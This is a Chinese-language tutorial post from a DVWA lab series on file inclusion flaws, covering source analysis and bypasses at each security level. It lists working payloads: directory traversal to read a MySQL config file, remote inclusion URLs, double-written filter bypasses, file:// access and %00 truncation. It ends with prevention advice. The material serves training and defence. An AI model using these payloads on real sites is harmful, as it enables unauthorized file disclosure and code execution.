前言
DVWA安装使用介绍,见:【工具-DVWA】DVWA的安装和使用
本渗透系列包含最新DVWA的14个渗透测试样例:
1.Brute Force(暴力破解)
2.Command Injection(命令注入)
3.CSRF(跨站请求伪造)
4.File Inclusion(文件包含)
5.File Upload(文件上传)
6.Insecure CAPTCHA(不安全的验证码)
7.SQL Injection(SQL注入)
8.SQL Injection(Blind)(SQL盲注)
9.Weak Session IDs(有问题的会话ID)
10.XSS(DOM)(DOM型xss)
11.XSS(ref)(反射型xss)
12.XSS(Stored)(存储型xss)
13.CSP Bypass(Content Security Policy内容安全策略,旁路/绕过)
14.JavaScript
安全级别分低、中、高、安全四个级别来分析File Inclusion的渗透测试过程。
去除红框内容,请看:【工具-DVWA】DVWA的问题(BurpSuite无法拦截、乱码、永远Impossible、allow_url_include等)
1 基础知识
- File Inclusion-文件包含(漏洞)
就是存在可以任意访问文件的入口,可能会照成文件泄露或恶意代码执行。如:当PHP开启allow_url_include和allow_url_fopen(远程包含)时,php的某些特性函数(include(),require()和include_once(),require_once())可以利用url去动态包含文件。
2 Low
2.1 渗透测试
- 尝试在页面前面添加../,代表访问上级路径下的include.php,发现有错误提示,从中可知,当前操作系统为Windows,且得知当前访问网站路径为:D:\wamp\www\DVWA-master\vulnerabilities
- 尝试访问mysql的配置文件my.ini:
page=../../../../bin/mysql/mysql5.5.20/my.ini或page=D:/wamp/bin/mysql/mysql5.5.20/my.ini
- 远程文件访问:page=http://10.11.37.52/?phpinfo=1,可以用于跨域访问威胁文件。
PS:相当于可以访问任何文件,危害极大
2.2 源码分析
low.php:非常简单,0过滤
$file = $_GET[ 'page' ];
3 Medium+High
两种都是过滤的方式,而且安全级别都很低。
3.1 源码分析
- Medium:将”http:// ”、”https://”、 ” ../”、”..\”替换为空字符
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
- High:要求page参数的开头必须是file
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
3.2 渗透测试
- Medium
双写绕过替换:替换之后刚好是正常的。
page=hthttp://tp://10.11.37.52/?phpinfo=1
page=..././..././..././..././bin/mysql/mysql5.5.20/my.ini
- High
http的确实绕不过,但是file协议,本地访问还是无碍的:page=file://D:/wamp/bin/mysql/mysql5.5.20/my.ini
PS:如限制文件必须是PHP文件时,咋办?php版本小于5.3.4时,Magic_quote_gpc选项为off时,%00后的内容不会被识别,那么我们可以在请求文件末尾添加%00abc.php,来避免文件后缀的过滤,同时又不干扰文件访问。
4 Impossible
源码分析:采用白名单机制,仅允许访问指定的文件。完美!
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
5 总结
文件包含漏洞利用:
- 双检查绕过替换规则
- 大小写绕过,URL编码绕过,%00截断绕过效验规则
- 采用黑名单外的协议访问
- 任何包含文件访问的地方,比如图片等,都可以用于测试
文件包含漏洞预防:
- 多(2-3)次替换检查
- 路径检测【./】,包含直接丢弃请求,不用替换
- 白名单检查(强力推荐)
爱家人,爱生活,爱设计,爱编程,拥抱精彩人生!